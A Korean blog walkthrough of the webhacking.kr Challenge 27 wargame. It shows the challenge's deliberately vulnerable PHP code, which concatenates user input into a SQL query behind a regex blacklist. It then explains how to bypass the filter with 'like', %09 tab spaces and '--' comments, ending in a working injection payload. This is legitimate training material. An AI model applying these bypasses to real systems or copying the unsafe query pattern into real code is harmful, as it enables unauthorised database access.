반응형

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
  if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if($r['id']=="guest") echo("guest");
  if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>

 


<?php
  if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if($r['id']=="guest") echo("guest");
  if($r['id']=="admin") solve(27); // admin's no = 2
}
?>

no 파라미터에 값이 있으면 특정 패턴을 해당 값에서 찾은 후 특정 패턴이 존재하면 no hack 문자열을 출력하고

특정 패턴에 해당하는 부분이 없으면 sql 쿼리문을 실행하고 'id'가 guest인지 admin 인지에 따라 조건 처리한다.

 

 

?no=1을 주면 guest가 출력된다.

 


풀이

 

필터링 하는 부분을 보면, '(' 기호와 '=' 기호를 필터링한다.

 

SQL에서 '='는 like 문으로 대체할 수 있다.

 

'(' 기호는 필터링 되지만, ')' 기호는 필터링 되지 않는다.

 

sql 쿼리문 뒤에 있는 or die() 와 같은 문들은 주석 처리하면 되는데, # 기호는 필터링 되어 있으므로 '--'를 사용하면 된다.

(주의할 점 : '--' 기호 뒤에 공백을 주지 않으면 '--)' 구문이 되어 '--' 기호가 괄호 안의 내용으로 인식하게 되므로 공백을 이용해 차이를 둬야 한다.)

 

공백도 필터링 되고 있는데, a~z, A~Z 영문자 대소문자 둘 다 필터링하므로 %0a는 사용 못하므로 %09를 사용한다.

 

 

즉, admin 계정에 대한 열을 뽑아내면서 위의 필터링을 우회하는 구문은 아래와 같다.아래와 같이 입력한다.

 

2)%09or%09no%09like%092%09--%09
=>	2) or no like 2 --

 

위의 구문은 아래와 같이 쿼리가 완성된다.

 

select id from chall27 where id='guest' and no=(2) or no like 2 --(공백)

 

위의 구문은 id가 guest이고, no가 2번인 열은 없으므로 false가 되지만, 뒤에서 no가 2번인 열이 존재하므로 True가 되어 True and Ture는 True가 된 다음 false or true는 true이므로 성공적으로 해당 값을 저장한다.

('--' 기호 다음에 적힌 것들은 모두 주석 처리 된다.)

 

 


 

 

반응형

'전쟁 > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-39  (0) 2022.07.13
[Webhacking.kr] old-3  (0) 2022.07.13
[Webhacking.kr] old-18  (0) 2022.07.13
[webhacking.kr] old-34  (0) 2022.07.13
[Webhacking.kr] old-23  (0) 2022.07.13

+ Recent posts